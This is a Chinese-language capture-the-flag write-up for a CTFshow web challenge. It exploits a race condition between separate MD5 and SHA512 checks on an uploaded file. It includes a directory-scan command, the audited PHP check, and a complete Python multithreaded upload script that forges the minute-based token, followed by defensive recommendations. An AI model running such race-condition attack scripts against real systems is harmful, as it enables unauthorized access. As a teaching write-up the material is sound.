
CTFshow Web红包题第六弹实战复盘从文件竞争漏洞到Python多线程攻击第一次看到这个题目时我并没有立即想到文件竞争漏洞。题目看起来很简单——一个文件上传和验证的界面。但CTF的题目往往就是这样表面简单实则暗藏玄机。1. 信息收集与初步分析任何Web安全挑战的第一步都是彻底的信息收集。我习惯从以下几个方面入手目录扫描使用dirmap工具跑字典参数设置如下python3 dirmap.py -i https://target.com -lcf这个命令会使用默认字典进行扫描-lcf参数表示同时检查常见备份文件。扫描结果中web.zip这个备份文件引起了我的注意。下载解压后发现是check.php.bak——这正是我们需要的源代码关键发现文件上传后会保存为flag.dat验证逻辑包含两个条件文件MD5值与key.dat相同文件SHA512值与key.dat不同2. 代码审计与漏洞识别仔细分析check.php.bak的源代码后我发现了几个有趣的点$token md5(date(i)); if($_GET[token] ! $token){ die(token error); } $file_md5 md5_file(flag.dat); $key_md5 md5_file(key.dat); $file_sha512 hash_file(sha512,flag.dat); $key_sha512 hash_file(sha512,key.dat); if($file_md5 $key_md5 $file_sha512 ! $key_sha512){ echo file_get_contents(flag.php); }这里存在典型的条件竞争漏洞Race Condition。验证过程分为两步检查MD5是否匹配检查SHA512是否不匹配但这两次检查之间有时间间隔如果能在第一次检查后、第二次检查前修改flag.dat文件内容就能满足两个看似矛盾的条件。3. 漏洞利用方案设计要利用这个漏洞我们需要准备两个文件file1.dat与key.datMD5相同file2.dat与key.datSHA512不同使用多线程同时上传这两个文件期望在验证过程中第一次检查时flag.dat是file1.dat第二次检查时flag.dat被替换为file2.dat注意这种攻击需要精确的时间控制成功率与服务器处理速度有关可能需要多次尝试。4. Python多线程攻击脚本编写我决定用Python的threading模块来实现多线程攻击。以下是完整的攻击脚本import requests import time import hashlib import threading # 获取当前分钟数作为token current_minute str(time.localtime().tm_min) token hashlib.md5(current_minute.encode()).hexdigest() def upload_file(file_content): try: url fhttp://target.com/check.php?token{token}php://input response requests.post(url, datafile_content) print(response.text) except Exception as e: print(fError: {e}) # 读取与key.dat MD5相同的文件 with open(file1.dat, rb) as f: valid_content f.read() # 准备无效内容 invalid_content binvalid_data # 启动多个线程同时上传两种文件 for _ in range(20): threading.Thread(targetupload_file, args(valid_content,)).start() for _ in range(20): threading.Thread(targetupload_file, args(invalid_content,)).start()脚本关键点解析token生成与服务器使用相同的逻辑当前分钟数的MD5多线程同时启动40个线程20个上传有效内容20个上传无效内容错误处理捕获并打印异常避免线程崩溃5. 实战调试与优化在实际运行中我遇到了几个问题并做了相应优化成功率低增加线程数量到50-100添加延迟重试机制token过期# 每分钟更新token while True: new_minute str(time.localtime().tm_min) if new_minute ! current_minute: current_minute new_minute token hashlib.md5(current_minute.encode()).hexdigest()响应分析添加flag检测逻辑发现flag后自动停止记录成功请求的参数用于分析优化后的完整脚本增加了这些功能攻击成功率显著提高。6. 防御方案与思考完成挑战后我思考了如何防御这类攻击原子性操作将验证过程改为原子操作使用文件锁机制临时文件验证完成后再移动文件到最终位置验证逻辑优化单次读取文件后同时计算多个哈希值这个CTF题目很好地展示了条件竞争漏洞的利用方式。在实际开发中类似的逻辑缺陷可能导致严重的安全问题特别是在支付、库存管理等关键系统中。